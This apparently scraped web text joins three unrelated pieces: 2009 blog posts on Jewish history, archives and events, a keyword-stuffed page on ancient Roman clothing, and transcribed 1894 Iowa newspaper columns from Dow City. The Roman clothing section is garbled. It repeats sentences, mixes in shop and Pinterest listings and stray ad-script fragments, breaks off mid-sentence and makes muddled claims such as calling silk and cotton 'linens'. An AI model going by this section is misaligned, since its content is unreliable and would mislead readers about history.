features of African Americans are distorted on everyday objects.<br />If you had to come up with one word to describe the objects that we have and similar objects, that word would be propaganda. When I used to think of propaganda I thought of it as leaflets and posters. And then it hit me one day that an ashtray with a caricatured image of a member of an ethnic group can be as much propaganda as a leaflet or poster or print.. So when you turn and you look at that detergent box or you look at that game, that toy, that ashtray—these everyday objects with a function—they become everyday ways to convince people that a racial hierarchy made sense.<br />You know, the hardest thing for me is to figure out how to present the material to people when they come in. What you discover is, is that people looking at the same thing come up with very, very, very different interpretations of what it is they're seeing. And so the one person when he looks at Little Black Sambo says, "You know, that's a cute, clever little boy. And reading that story just reminds me of wholesome, good times with my father and oatmeal." And then someone else looks at that and they says, "Well, that reminds me of a vestige of segregation and slavery. And it hurts me."<br />So what we try to do is to get people talking. Now, why is that hard for me? It's hard for me because when people walk in there I want to tell them what they see. So when a person starts talking about "Oh, why should you be offended at that?" There's a part of me that wants to scream, "How could you not see the offense?" But I don't. And I've gotten much better over the years in finding where people are, trying to understand where they are, and then allowing people at different places and different points in their journey to explain where they are, and so you have meaningful dialogue. My fear is not that people won't think the way I do or agree with my values; it is that they won't talk about these things at all, that they'll just keep muddling along as if everything's fine.<br />I think that systematically disseminating information that defames and belittles others actually belittles and degrades our entire society. As corny and trite as that sounds, I think that antisemitism, racism, sexism, and homophobia…I think those things undermine democracy. I think they make of democracy a lie.." And that for me has been I guess the thrust of what it is I've spent my life trying to do; trying to make the "We" bigger. (fragment of the transcript)<br /></div>Frank.Schloeffel Digital Library launched today!<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href=""><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 308px; height: 255px;" src="" alt="" border="0" /></a><span style="font-size:85%;">(<a href="">Division of the Land of Israel Within its Borders: Copied from the Great Luminary, the Famous and Pious Gaon, Our Teacher and Rabbi, Rabbi Eliyahu from Vilna, the Capital</a>; item contained in the <a href="">World Digital Library</a>)<br /></span><div style="text-align: justify;"><br /><br />"Today, on April 21, 2009, the <a style="font-weight: bold;" href="">World Digital Library</a>, one of the most significant projects refering to digital primary sources on different cultures across the world, was launched.<br /><br />The mission:<br /><br />"The World Digital Library (WDL) makes available on the Internet, free of charge and in multilingual format, significant primary materials from countries and cultures around the world.<br /><br />The principal objectives of the WDL are to:<br /><br />Promote international and intercultural understanding;<br />Expand the volume and variety of cultural content on the Internet;<br />Provide resources for educators, scholars, and general audiences;<br />Build capacity in partner institutions to narrow the digital divide within and between countries."<br /></div>Frank.Schloeffel Union College could face closure<div style="text-align: justify;">"Tough economic times and multimillion-dollar debt might force Hebrew Union College, the nation’s oldest Jewish educational institution, to shut down its Clifton campus.<br />Advertisement<br /.<br />'I wish with all my heart and soul that this were not so,” he wrote. “Yet, all the wishing in the world cannot alter the reality we face.'<br />HUC has raised the possibility of closing two of its three U.S. campuses. The others are in New York and Los Angeles.<br />Rabbi Gerry Walter, a 1974 graduate of the Clifton Avenue campus, said closing his alma mater would be a huge blow to American Jewry.<br />'This is the heart of Reform Judaism and we very much want to see it remain here,' said Walter, rabbi at Temple Sholom in Amberley Village.<br />Rabbi Isaac M. Wise founded the college in 1875, hoping to guarantee the survival of Judaism in America. The rabbinical school moved to its current campus in 1912, becoming an institution in Clifton.<br />The Klau Library and the American Jewish Archives – a massive collection of history that local supporters say is matched only by resources in Israel – hold a physical connection to Jewish history.<br />The Jacob Rader Marcus Center houses the archives, which boast more than 15 million documents on Jewish life. The nearby library holds hundreds of thousands of volumes. That collection includes everything from rare books and ancient scrolls to Bibles, cookbooks and Jewish songs.<br />'There’s no other place like it in the world,Ä said Brian Jaffee, director of the Jewish Community Relations Council in Cincinnati. 'There are books and other materials that were rescued from Nazi Europe. As someone who cares very much about our Jewish story, it’s impossible for me to imagine the library and archives not being here in Cincinnati.'<br />A group of faculty, alumni and other supporters of the Clifton campus are mobilizing an effort to keep the school open.<br />Leaders of the campus in Los Angeles are rallying to keep their branch afloat, too.<br />They argued, in a Los Angeles Times story, that the best arrangement would be to have campuses on each coast.<br />They pointed to an agreement with the University of Southern California that pays the institute $1.9 million to teach Jewish studies courses. They also alluded to the possibility of USC buying or leasing some of the institute’s property.<br />'I still think a presence in Los Angeles is essential to the survival and growth of the [Reform] movement in America because L.A. is the second-largest center of Jewish life demographically … and because it’s emerging as an important laboratory of Jewish innovation,' David N. Myers, head of the UCLA Center for Jewish Studies, told the Times.<br />Other reorganization efforts might allow more than one campus to remain open. A fourth campus in Jerusalem has not been mentioned in the potential closure talks.<br />The scenarios will be discussed in more detail when the Board of Governors meets next month in New York. A final decision will be made during a special June 23 board meeting.<br />Staff writer Eric Bradley contributed to this report." (via <a href="">Cincinnati.com</a>)<br /></div>Frank.Schloeffel and Borders: German Jewish thinking between Faith and Power<div style="text-align: justify;">The conference <a style="font-weight: bold;" href="">Bund and Borders: German Jewish thinking between Faith and Powe</a>r will be held from May 17th until May 19th 2009 in the <a href="">Jewish Museum, Berlin</a>.<br /><br /><span style="font-weight: bold;">Timetable</span><br /><br />May 17<br /><br />18.00 Welcome<br /><br />18.15 Introduction: Mirjam Wenzel (Jewish Museum Berlin)<br /><br />18:30–20:30 Evening Session: A German-Jewish Critique?<br />With: Steven Aschheim (Hebrew Univ.), Amir Eshel (Stanford Univ.), Adi Gordon (Univ. of Wisconsin), Thomas Meyer (Simon Dubnow Institute Leipzig)<br /><br />20.30–22.00 Reception<br /><br />May 18<br /><br />10.00–12.00 Morning Session: German-Jewish Intellectual Positions from Mystical Traditions to Radical Politics<br />With: Martin Kavka (Florida State Univ.), Eugene Sheppard (Brandeis Univ.), Christian Wiese (Sussex Univ.), Udi Greenberg (Hebrew Univ.), Cilly Kugelmann (Jewish Museum Berlin)<br /><br />12.00–13.30 Lunch<br /><br />14.00–16.00 Afternoon Session I: A Jewish Political Theology?<br />With: Vivian Liska (Univ. of Antwerp), Menachem Lorberbaum (Tel Aviv Univ.), Nitzan Lebovic (Tel Aviv Univ.), Martin Treml (Centre for Literary and Cultural Research, Berlin)<br /><br />15.00–16.30 Refreshments<br /><br />16.30–18.30 Afternoon Session II: The Impact of German Jews on Political Culture and Constitutional Issues in Israel<br />With: Mordechai Kremnitzer (Institute for Democracy Jerusalem), Itzhak Englard (Hebrew Univ. em.), Shai Lavi (Tel Aviv Univ.), Dieter Grimm (Humboldt Univ. em./Wissenschaftskolleg Berlin)<br /><br />May 19<br /><br />10.00–12.00: Workshops with Students I<br />Politics meets Halakhic and Chassidic traditions (with Menachem Loberbaum)<br />Carl Schmitt and Jacob Taubes (with Martin Treml)<br /><br />12.30–13.30: Lunch<br /><br />14.00–16.00: Workshops with Students II<br />Ethical considerations and aesthetic forms (with Vivian Liska)<br />An Israeli Constitution? (with Mordechai Kremnitzer)<br /><br />17.00–18.30: Round Table Discussion: The End of German-Jewish History?<br />With: Steven Aschheim (Hebrew Univ), Raphael Gross (LBI London, Jewish Museum/Fritz Bauer Institute, Frankfurt a.M.), Martin Kavka (Florida State Univ.), Nitzan Lebovic (Tel Aviv Univ.),Vivian Liska (Univ. of Antwerp), Stefanie Schüler-Springorum (Hamburg Univ.), Mirjam Wenzel (Jewish Museum Berlin)<br /><br />19.00–19.15: Concluding Remarks<br /><br />(H-Soz-u-Kult: <a href=""></a>)<br /></div>Frank.Schloeffel Cologne Archive's collapse XIV<div style="text-align: justify;"><span style="font-style: italic;">Invitation for all donors of private collections (</span><a style="font-style: italic;" href="">KStA </a><span style="font-style: italic;">via </span><a style="font-style: italic;" href="">Archivalia</a><span style="font-style: italic;">)</span><br />The City of Cologne will invite all donors of private collections and depositaries to the Piazetta in the City Hall on May 11th. The head of the department, Gisela Fleckenstein explains the late date with the task to organize 10 (shelf) m of contracts to find out what the archive holds (held) and who are the depositaries. Fleckenstein says: „In case we forgot somebody, please feel invited.“<br /><br /><span style="font-style: italic;">Recovery process already finished at the end of May?</span><span style="font-style: italic;"> (</span><a style="font-style: italic;" href="">KstA </a><span style="font-style: italic;">via </span><a style="font-style: italic;" href="">Archivalia</a><span style="font-style: italic;">)</span><br />After a short Easter break, the fire department Cologne and the Federal Agency for Technical Relief continue their work at the collapsed building in Severinstraße. This week the volunteer fire department Aachen is helping. The mountain of rubble decreases every day. “It could be possible that we will be finished at the end of May” notes the speaker of the fire department, Günter Weber, but he also limits: “We do not know exactly how further it goes into the depth.”<br />A special driller, that transports rock specimens from up to 50 m depth, was used to examine the condition of the ground. “This way you can find out if there is more rubble in the depth“, reports Weber. In the meantime, exvacators pull down the backside of the former CHA building, remains of the reading room and the offices.<br />Nearly half of the former 30 (shelf) km have been recovered in different conditions. “It will take years to restore and sort the documents“, said Gisela Fleckenstein. “Die several papers and collections are one big mess.“<br /><br /><span style="font-style: italic;">What do we learn from Cologne Historical Archive's collapse? (</span><a style="font-style: italic;" href="">Die Welt</a><span style="font-style: italic;"> via </span><a style="font-style: italic;" href="">Archivalia</a><span style="font-style: italic;">)</span><br />" ..... that we must deal with our history more careful. This is not about a building in Cologne that collapsed but about our historical memory. Therefore this collapse is a societal problem, in which the politics has got more involved. Knowledge and concepts exist, only financing is missing. In general, we need a wider awareness of our archives, for they store our history and make it researchable…” , said Jochen Hermel (Institute for History, University of Bonn; Hermel works on his PhD thesis about integration of migrants to the City of Cologne in the 16th and the beginning 17th century)<br /><br /><span style="font-style: italic;font-size:85%;" >Former Summaries<br /></span><span style="font-size:85%;"></span><span style="font-size:85%;"><a style="font-style: italic;" href="">Summary Cologne Archive's collapse XIV, Tuesday March><br /></span><br /><br /></div>Frank.Schloeffel you can identify anyone in these photos...<div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href=""><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 224px;" src="" alt="" border="0" /></a><span style="font-size:85%;">(<a href="">Undated photo of two unidentified men of the Jewish Museum of Maryland collections</a>)<br /></span></div><div style="text-align: justify;"><br />In cooperation with the <a href="">Jewish Museum of Maryland</a> (JMM), the <a href="">Baltimore Jewish Times</a> is helping to identify unidentified individuals in historical photographs by presenting them on their webpage.<br /><br /> JMM hosts a <a href="">searchable database to the museum collections</a>.<br /></div>Frank.Schloeffel festival 2009 at the Werbellinsee in the north of Berlin<div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href=""><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 450px; height: 110px;" src="" alt="" border="0" /></a><span style="font-size:85%;">(<a href="">cover picture of Limmud.de webpage</a>)</span><br /><br /></div><div style="text-align: justify;">From <a style="font-weight: bold;" href="">April 30th until May 3rd 2009 the Limmud.de festival</a> will take place for the second time in Germany. "The Festival is to take place in Werbellinsee, north of Berlin, in a large hostel-type facility in a picturesque landscape. The location offers lodging for several hundred participants and many seminar rooms, making it an ideal location for a comprehensive program. The site was founded as a getaway for Young Pioneers (in communist East Germany) and since 1989 has gradually been modified into a vacation and conference centre."<br /><br />As it is said on Limmud.de webpage:<br /><br />"Limmud.de is a place...<br /></div><ol style="text-align: justify;"><li>where Jews of all religious and political backgrounds meet to learn, discuss and celebrate together,</li><li>where you can expect to meet Jews who are different from you,</li><li>where you can learn something new, whether you know nothing about Judaism yet, or you are a rabbi or professor,</li><li>where participants themselves decide what they want to learn, and what they want to teach,</li><li>where you can offer a presentation on any Jewish theme in which you have some expertise,</li><li>where you can attend or offer workshops in German, English or Russian,</li><li>where there is room for the broad diversity of Jewish topics: religion, tradition, politics, society, literature, art, music and more,</li><li>where everyone from the age of 0 to 120 is welcome."</li></ol><div style="text-align: justify;"><a href="">Everybody who is interested in participating check out the Limmud.de website</a>.<br /></div>Frank.Schloeffel Jewish Art Salon (New York)<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href=""><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 322px; height: 245px;" src="" alt="" border="0" /></a><span style="font-size:85%;">(<a href="">The artist travels, 2006 by Shoshannah Brombacher</a>, one of the <a href="">participants of the Jewish Art Salon</a>)</span><br /><div style="text-align: justify;"><br />"The <a style="font-weight: bold;" href="">Jewish Art Salon</a> (New York) is an open and unique inter-disciplinary group of artists. We meet informally once every four weeks to discuss our work, life, the Jewish themes inherent in our work and the multiplicity of impetus and inspiration for our work. We engage in interactive dialogues that address important and provocative issues facing our society.<br />We are dedicated to the preservation of an open forum where all opinions and viewpoints are listened to and respected. Together, we are working to create a Jewish art community where work and issues are discussed and information and resources are shared.<br />Seeing a need for such a forum, Yona Verwer, visual artist, and Holly Wolf, writer, convened the group along with co-founders Laura Kruger, curator of the <a href="">HUC-JIR Museum</a>, Richard McBee, visual artist and art critic, and David Wander, visual artist."<br /></div><br />Check the <a href="">upcoming events and meeting</a>.Frank.Schloeffel publications of the Steinheim Institute, Leipzig (German)<div style="text-align: justify;">From May 2009 two titles edited by the <a href="">Salomon Ludwig Steinheim Institute</a> (Leipzig) will be published online:<br /><br />1) Die rheinischen Juden im Mittelalter<br />2) Jüdische Friedhöfe in Deutschland – Eine Einführung für Lehrer und Schüler<br /><br />For more information on the titles see section <a href="">Mitteilungen of Kalonymos I, 2009</a><br /></div>Frank.Schloeffel

ancient rome clothing About The tunica was worn as an undergarment with short sleeves. However, the purple stripe was only reserved for free boys and could not be worn by the slaves. The toga is arguably the best-known garment from ancient Rome. Ancient Roman clothing was inspired in part by Greek clothing but also had its own independent and distinctive features. Summer tunics were made of linen and winter tunics were made of wool. Roman clothes were made of wool, spun into cloth by the women of the family. The tunic worn by patricians was made from white wool or linen. In ancient Roman society, the male was head of the family held almost absolute powers over his family. They took them to a fullonica, the ancient version of a laundry mat or dry cleaners. Similarly, there was not much distinction between the footwear of men and women. The mostly commonly used female dress was called a stola which was a long tunic reaching to the ground. The clothing of the ancient Romans of the republican stage is characterized by rigor and functionality, while the imperial, on the contrary, emphasizes the belonging of the owner of the clothing to a particular class. Sometimes men even curled and braided their hair. Feb 26, 2017 - Explore Jacqueline Cadwgan's board "roman clothing" on Pinterest. Magistrates wore the tunic augusticlavia, and senators wore a tunic with broad strips, tunica laticlavia. A Roman soldier dressed in typical clothing, a tunic and armour. A Day There are two main stages in the development of Ancient Rome clothing and Roman costume: the republican and imperial. Additionally, special kinds of clothing were reserved for religious ceremonies and other special occasions which held high importance in this ancient society. Did they use bright colors? Shop for customizable Ancient Rome clothing on Zazzle. The ancient world has, however, inspired some equally epic fashion so take your cue from our favourite Greco-Roman influenced looks and prepare to … Whether your choice battlefield is the senate floor or the battlefields of Gaul, our outfits, armor, shields and helmets are ready to ensure you have just the right gear for the job. Boys' bullas were put aside and carefully saved. Ancient Roman Clothing. NYPL Digital Gallery. The day ended with a dinner party, given by the father, in honor of the new Roman citizen. Women's street shoes were made of leather, like a man's. By the fall of the Roman Empire, there were thought to be over 600 Mithraea just in Rome alone. The material used to create clothes was either wool or (to some extent available) linen. Other important components of ancient Roman clothing for the soldiers included the soldier’s helmet known as a Galea, a belt worn over one shoulder known as a baldric, and heavy-soled military shoes were worn on the feet. Favorite Add to Ancient Greek & Roman Costumes Sewing Pattern McCall's 3514. Not much known about the underwear in Ancient Rome, and on which occasions it could be worn, but women had some kind of equivalent of a bra called a fascia. Comparison between men and women clothing Men While the Roman national garment may have been the toga, it was unsuitable for active work, so the tunica was the common dress of those who had to work for a living. The style of Roman clothing was influenced by the Ancient Greeks and evolved over time to incorporate styles and costume from across the Roman Empire. Roman dress differed from one class to another. Slaves in ancient Rome wore tunics, usually made of cheap wool sewn together in a tube shape with holes for the arms. Every piece of clothing worn by the people had a specific meaning, a message, behind it. Roman senator Roman helmet. Posted on September 8, 2014 by ginniseth. To flout good taste, men wore rings on every finger and even arm bracelets. No other cult or religion in ancient Rome involved an underground place of communal worship. Tunic. The most important components of clothing for men was the tunic and the toga. Fullers, or fullones, were washers and scourers of clothing and new cloth, and they did a pretty good business in ancient Rome. The famed Roman tunic, worn by people of all classes and the common piece of Roman clothing. Mar 12, 2020 - Explore Magistra Michaud's board "Ancient Clothing", followed by 1069 people on Pinterest. The tunic came down to the knees and was worn with a belt. Women often dyed their hair, usually golden-red. The clothing of ancient Italy, like that of ancient Greece, is well known from art, literature & archaeology. The very early Romans wore a garment called a toga. They were allowed to wear sandals, but many chose not to. They identified social status. Specific kinds of togas were reserved for important people. Roman gladiators fought bare-chested, but they wore canvas loincloths to preserve their modesty. Oddly enough, they did not wash their clothes at home. Women could sow different patterns into their dresses. The rules for shoes weren't as strict as those for regular clothing. And the second word which comes right after draping is THE TOGA Roman clothes were made of wool, spun into cloth by the female members of the family. Clothing of Ancient Romans were generally simple but that doesn’t mean it didn’t change through time, although slowly. A common over-garment used by women was called palla which was similar to a man’s toga. 5 out of 5 stars (1) 1 reviews $ 180.00. Fashion of the various times also indicated how much make-up, jewelry and perfume would be worn. The clothing for the elite differed from the clothing of the ordinary people in terms of style as well as material. Coloring pages to inspire children learning about Italy. Most of the clothing worn in Ancient Rome was made of wool. Clothing in Ancient Rome. The kind of clothing showed status. Gladiators also wore protective armor over their arms and legs. Bust: 36 - 42". Shop our range of T-Shirts, Tanks, Hoodies, Dresses, and more. The stola was usually kept shorter in length so as to show the layers of garments, thus representing the social status. It contained an amulet as a protection against evil and was worn on a chain, cord, or strap. See more ideas about ancient, roman clothes, ancient rome. The ancient Romans loved colored clothes. The cloth was made from wool, linen or hemp. About this quiz: All the questions on this quiz are based on information that can be found on the page at Ancient Rome - Clothing. Leather was also used. Another tunic was used under the stola and was known as a tunica interior. In the house, most Romans (men and women) wore sandals. Ancient History and Archaeology.com - Roman Women's Clothing - online resource for articles and blog on ancient history, archaeology and related travels. It was customary for clothing to also depict where you stood in the Roman social scale, as with many civilisations, the higher status people typically dressed better. Ancient Rome Makeup, Clothing, Hair and Jewelry. During the colder months, they also wore something that looked like trousers. (1844-1889). The young women would tie their hair in … View an illustration of several of the articles an ancient Egyptian might wear. Silk was very expensive and could only be … Girls wore their bulla until the eve of their wedding day, when their bulla was set aside with other childhood things, like her toys. Wool was made throughout Italy and much of the Roman Empire both in the home and commercially. Clothing, footwear and accoutrements identified gender, status, rank and social class. The quality of slaves' clothing varied depending on the status and wealth of their owners. This post is also available in: Polish . Perfume shops were a common sight in ancient Rome. Suffice to say that such adornments were as popular in the ancient world as in any time. One imagines them only in statues wearing white marble togas because the normal person sees few paintings or mosaics from the time that picture Romans in … Roman soldier Roman Coliseum. Ancient Roman clothing started out as homespun wool garments, but over time, garments were produced by craftspeople and wool was supplemented with linen, cotton, and silk. The dressing of the salves doing manual jobs such as mining differed from the dressing of relatively well off slaves who were educated and did respectable jobs. It was not a very practical garment and it really didn't keep you warm. Later on, however, the toga was used exclusively by men (high class female prostitutes and women divorced for adultery being the exception), while the stola was used by women only. The clothing of ancient Italy, like that of ancient Greece, is well known from art, literature & archaeology. Clothing in ancient Rome.. Ancient Roman Women’s Dress Fashions: Similar to Roman men, the basic item of clothing was the tunic (tunica), though women’s tunics were fuller and longer, usually extending to the feet. Clothing in ancient Rome generally comprised a short-sleeved or sleeveless, knee-length tunic for men and boys, and a longer, usually sleeved tunic for women and girls. in the Life of a teenage boy (cartoon video), Quick Comparison: Ancient Greeks vs. These cloaks could be long trailing on the floor or could go up to the knees. 1. Clothes were commonly made of wool and occasionally linens like silk and cotton were imported. Women's sandals were brightly colored. For instance, the togas and tunics of the common people were generally made of coarse, dark materials while the clothes for the elites was made of fine materials such as wool. The other important article of historic Roman clothing for men was a toga which was reserved for the free Roman citizens. Unique Ancient Rome clothing designed and sold by artists for women, men, and everyone. Unique Ancient Rome clothing designed and sold by artists for women, men, and everyone. Dressing was one of the most important parts of Roman life since it was a direct indication of social standing. Clothing in Ancient Rome is most commonly known by the toga and stola. Types. Daily Life for Patricianseval(ez_write_tag([[250,250],'mrdonn_org-medrectangle-4','ezslot_5',109,'0','0'])); Roman Emperors - Augustus, Trajan, Diocletian, Constantine, Valens, Achievements, Contributions - Concrete, Aquaducts, and more, Play Free Interactive Online Games about Ancient Rome, Early Ancient Rome - The Founding and Kingdom, Ancient Roman Religion, Festivals, Holidays, Ancient Rome - Rights of Slaves, Children, and Women, Ancient Roman Art, Architecture, Inventions, Achievements, Investigate Real Life Artifacts in the Museum of the Ancients. Sizes 14 - 20. Ancient Rome clothing 10. Fashion for Roman Men: Roman men of good taste would wear a single ring as a fashion accessory. Comparison between men and women clothing Men While the Roman national garment may have been the toga, it was unsuitable for active work, so the tunica was the common dress of those who had to work for a living. Parasols were used, or women might carry fans made of peacock feathers, wood, or stretched linen. Such were also worn during sports and exercising, and no doubt served a good comfort for the women during such activities. Entire streets in Rome were lined with them. For instance, one fashion was called the gap-sleeved tunic where bottoms of the sleeve were stitched and the tops were tied at intervals. Additionally, white cloaks and plumes were reserved for the senior commanders. Ancient Roman fashion for brides was very specific; just like the brides of today a great deal of planning went into her outfit. The quality of slaves' clothing varied depending on the status and wealth of their owners. The toga was an important item and was worn by only Roman citizens, and after the second century BC, only by men.After that, the only females to … Lunula on a little girl carved in relief in the Ara Pacis Augustae temple in Rome, c. 13 BC. A belt was tied around the waist, and both men and women wore the tunic almost everyday. Along with the stola, the palla was the most common piece of clothing worn by women in ancient Rome. The Ancient Romans built one of the greatest Empires in history. At times long hair was the thing with beards and mustaches. Pearls were favorites. Both men and women in Ancient Rome wore tunics beneath either their togas (men) or … The influence of Rome is felt even today, and Historical Clothing Realm offers a line of Roman outfits to show everyone you mean business. Persian attire, which took on historical significance in the middle of the sixth century BC, was based on that of the Assyrians and the Babylonians, with some new elements of their own.. SPQR Emporium has a wide selection of Ancient Rome shirts, tank tops, hoodies, coffee mugs, face masks, and a lot more. Feb 20, 2016 - Wealthy Roman couple from the time of Julio Claudian dynasty. Shop our range of T-Shirts, Tanks, Hoodies, Dresses, and more. If you love the stoic values and virtues that made Rome great, then you have come to the right place. Various accessories were often used, particularly by the people of the upper classes. It was white, with a crimson border. The tunic was worn by plebians (common people), herdsmen and slaves was made from a coarse dark material. The Tunic was the most commonly used clothing item in ancient Rome for men and was the only article of clothing for many men of the lower classes and slaves. The Romans started wearing tunics dress made of red or off-white wool people in ancient Rome do..., more rarely it was a long tunic reaching to the ground Roman dress Rome fashion History... Special locket around their neck, given to them at birth, called bulla... … ancient Rome went outside, they also used and produced linen and hemp pins. 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Dow City News from the Denison Review 1894 Denison Review 1-1-1894 W. V. Whaley is confined to the house and is in a bad shape the grip settling in his left ear. R. A. Slocum is another victim of the grip he being confined to his bed. Not only the grip but the measles are having quite a run. As yet there have been no very severe cases. Willie Wiggins is teaching the winter term of school at the center school house in Paradise. Last Wednesday evening Mr. Florence Downs and Miss Lou Baber were married at the Baptist parsonage, Rev. Coffy performing the marriage ceremony. We all wish the young couple a long and happy life. Rev. J. L. Boyd, the new pastor for the Methodist church, will arrive in Dow City Thursday of this week and will preach next Sunday. Rev. Boyd comes very highly recommended as a pulpit orator and no doubt he will meet with a warm reception by the good people here. Rev. Luring, of Council Bluffs, filled the pulpit at the M. E. church last Sunday and preached two fine sermons. Jay Bell, Allen Rae and Guy Whaley, who have been spending the holiday vacation at home, returned to Indianola last Tuesday for the winter term. Guy Whaley will not go back until his father gets better. School commences next Monday, Jan. 8, for the winter term. FOO LEE *************************************************** Denison Review 1-10-1894 DOW CITY As far as we know at this time all others are doing nicely. Those who have been gripping with grippe, and having the measles. All those who were at the Methodist church last Sunday morning and evening and heard Rev. Boyd, the new pastor, were well pleased with him. Last Wednesday Mr. and Mrs. W. V. Butler lost their little daughter Blanch, with measles. The funeral services were held in the Methodist church, Thursday afternoon. Rev. Coffy, pastor of the Baptist church, preached the sermon. The bereaved family have the sympathy of all in the loss of their little one. To say that such and such a thing ought to be done is one thing; to do or be willing to help do the thing is of another kind. If an effort was made to close the saloons in Dow City, how many men are there who would take hold and help? Are the boys worth saving? Are they your boys, or do they belong to somebody else? Some one will ask what about the city authorities, who take the fifteen dollars a month from the saloon keeper for the privilege of dealing out the poison. To a great extent are they not violators of the law? Again, is it not more than likely that they could be impeached/ If not, the time will soon be here when the people will have a chance to say who shall fill these responsible positions. Most assuredly there are those in Dow City who could be found who are not willing to take blood money, for such it is. Some are asking what will the legislature do with prohibition? That is to be seen. FOO LEE ************************************ Denison Review 1-17-1894 DOW CITY E. H. Crandall, of Panama is visiting his parents. C.C. Booth's youngest child has the measles and lung fever. Uncle Jos. Eraheis is going around on crutches with a sore foot. Mrs. Maggie Harding was visiting her parents a few days last week. Mrs. Meyers of Minneapolis, Minn., is visiting her sister, Mrs. Paul Brake. R. A. Slocumb has recovered from the gripe so as to be able to be out, but not fit for much duty as yet. W. V. Whaley is just able to be out of the house. Ben Heath's little boy is just getting over the measles. Mrs. Heath was kept away from the store last week, having the grip. Joe Stapanek's house burnt to the ground last Tuesday afternoon. The men folks were all away from home at the time. Mrs. S. got out most of the furniture. There was some insurance. Miss Emma Kalb met with a painful accident Monday morning. She was walking on the sidewalk, it being frosty, she stepped off on to the grass, when her ankle turned, putting the ankle joint out of place and breaking the bone of the leg. The members and friends of the Methodist church met at the church last Friday evening to give a reception to Rev. Boyd, the new pastor, and his wife. There was a good turnout and a good donation of things to fill the pantry. It was the largest donation ever given in Dow City. The pastor and wife has been made to feel that there lot has been cast among kind hearted friends. FOO LEE **************************************** Denison Review 2-7-1894 DOW CITY J.U. Wise has bought the house now occupied by R. A. Slocumb. There were ten car loads of cattle shipped from here to South Omaha Monday afternoon. There will be a concert this Wednesday evening by home talent for charitable purposes. Wonder if Cleveland, Smith & Co. are willing to reduce their own salary to cut down expenses? The homemade wine that was to have been sold at the constable's sale last Saturday didn't materialize, afraid of the law. W. V. Butler has bought the house that R. H. Burns now lives in. Houses will be in demand. Who will build some? Cleveland, Smith & Co. struck another blow in Dow City, this time striking G. W. Huntington in the neck, so off came his head from the pension list. Who will be the next? Mr. Thos. Rae went into Chicago last week with cattle from there he goes to Mass. And Maine to visit friends. He will be gone about three weeks. The library committee is now making selections of books for the library. They will add about 100 volumes. Any one having a book that they want purchased will do well to hand it in to the secretary, Mr. G. Wiggins. Mrs. W. A. Barber, who has been suffering with a cancer for a good many years, had a surgical operation performed Monday forenoon by Drs. Carr, Evans and Wright, taking out some part of the bone of the right leg just below the knee. Rev. Boyd is proving to be the right man for pastor of the Methodist church in Dow City. He is drawing good sized congregations out to hear him at every service. Commencing last Monday night and continuing for two weeks there will be revival meetings at the M. E. church every night. All are cordially invited to attend. FOO LEE *********************************************** Denison Review 2-21-1894 DOW CITY Mr. W. A. Baber is some better. Mrs. S. E. Dow is on the sick list. Revival meetings still continue at the M. E. church. Mrs. Termble of Dunlap is visiting her mother, Mrs. Neil. Mr. Willis Wiggins is contemplating a visit to Nebraska this week. There was an entertainment held at the Baptist church last Sunday evening and reported to be very good. Elder Hooker will be here next Saturday and Sunday as it will be quarterly meeting at the M. E. church. J. U. Wise had a job of putting in some window lights as some of our boys came near painting the town red. There will be a dance held in Green's hall next Thursday evening celebrating Washington's birthday. Mrs. H. S. green and children started to Albany, Ill., last week to visit her mother. Mrs. S. Rudd and son Alle, have gone to Nebraska and Miss Any is keeping house. Our high school pupils have graduated in some of their studies and will take up bookkeeping and general history. PHILBROOK ********************************************* Denison Review 3-7-1894 DOW CITY March 1 brought many changes to Dow City. R., H. Burns has moved into John Cramer's house. Harry Jones and family left last week for Jones county W. V. Butler now occupies his own home, the place vacated by Burns. Ab Rigsby has taken up his abode in the house just east of Scatterbranch. Willis Wiggins is rusticating out at Wisner, Neb. If he likes it there he will stay. W. P. Brake of Sioux City, Mrs. C. H. Brake, of Mo. Valley, and Ed. Brake, who was visiting in Illinois were all summoned home last Saturday on the account of the sickness of their father, Mr. Paul Brake, who is dangerously sick with lung fever. The Dow City mills will soon be running again. A man by the name of Busic from Greely, Iowa, has rented the mill. Judging from the looks of Mr. B. we should say that he understands his business. It may take some time to build up a trade again, but nevertheless come along and help. Our city election passed off very quietly as usual. There were 90 votes cast. The following named persons were elected to office: W. B. Evans, Mayor, R. a. Slocumb, recorder, A. H. Rudd treasurer, John Howart, City attorney, M. G. Wiggins assessor, C. Butterworth, W. C. Hillas, council, A. Crandall street commissioner. Marion Cole moved out on the Fred Pierce place. Will Hosier moved into the house vacated by Cole. Len Butterworth moved into the Sim Davis house. Alex. Bell moved into the house Butterworth vacated on the farm just north of the river bridge. Dick Baber moved onto Bell's place in Paradise. Wm. Scott moved onto the place vacated by Baber. Lon Smith moved from town onto the farm Scott left. N. R. Wilder now occupies Bonsall's house up by the school house. Henry Vengrovitch took the house wilder left. Mrs. J. W. Coon bought the property of Vengrovitch vacated. Miss Bertha Blanding bought the house and lot of Coon's. ********************************* Denison Review 3-14-1894 DOW CITY Editor Rudd's little girl is sick with lung fever. Paul Brake is now in a fair way to get better. G. W. Huntington is moving back into town. K. J. Jones moved out on the Willow last week. Mr. Petefish, of Illinois, is here looking after his land interest. R. A. Slocumb moved into the house vacated by L. M. Jones. J. U. Wise is now moving into his own house, the one vacated by Slocumb. The revival meetings at the Baptist church are quite interesting. May they continue that much good may be done. Sunday was a missionary day at the Methodist church. Rev. Dudley, of Dunlap, was here and preached the sermon. Dow City will more than raise the apportionment for missions this year. Mrs. Shaw died at the home of her daughter, Mrs. E.L.Hammond, last Thursday evening, March 8th, age eighty five. The funeral services were held at the house Saturday afternoon. Rev. T. M. Coffey preached the sermon and was assisted by Rev. J. L. Boyd. The remains were taken to Ogden for interment. Our school election was a quiet affair today, there being only twenty-four votes cast. Butterworth and Bell were re-elected. FOO LEE ************************************** Denison Review 3-14-1894 SHAW - At the home of Mr. E. L. Hammond, Dow City, Iowa Thursday, March 8, 1894, Mrs. Betsey Ann Shaw in the 85th year of her life. Mrs. Shaw was born at Burke, Vermont, in the year 1809. Her maiden name was Betsey Ann Ramsey. She was brought up in St. 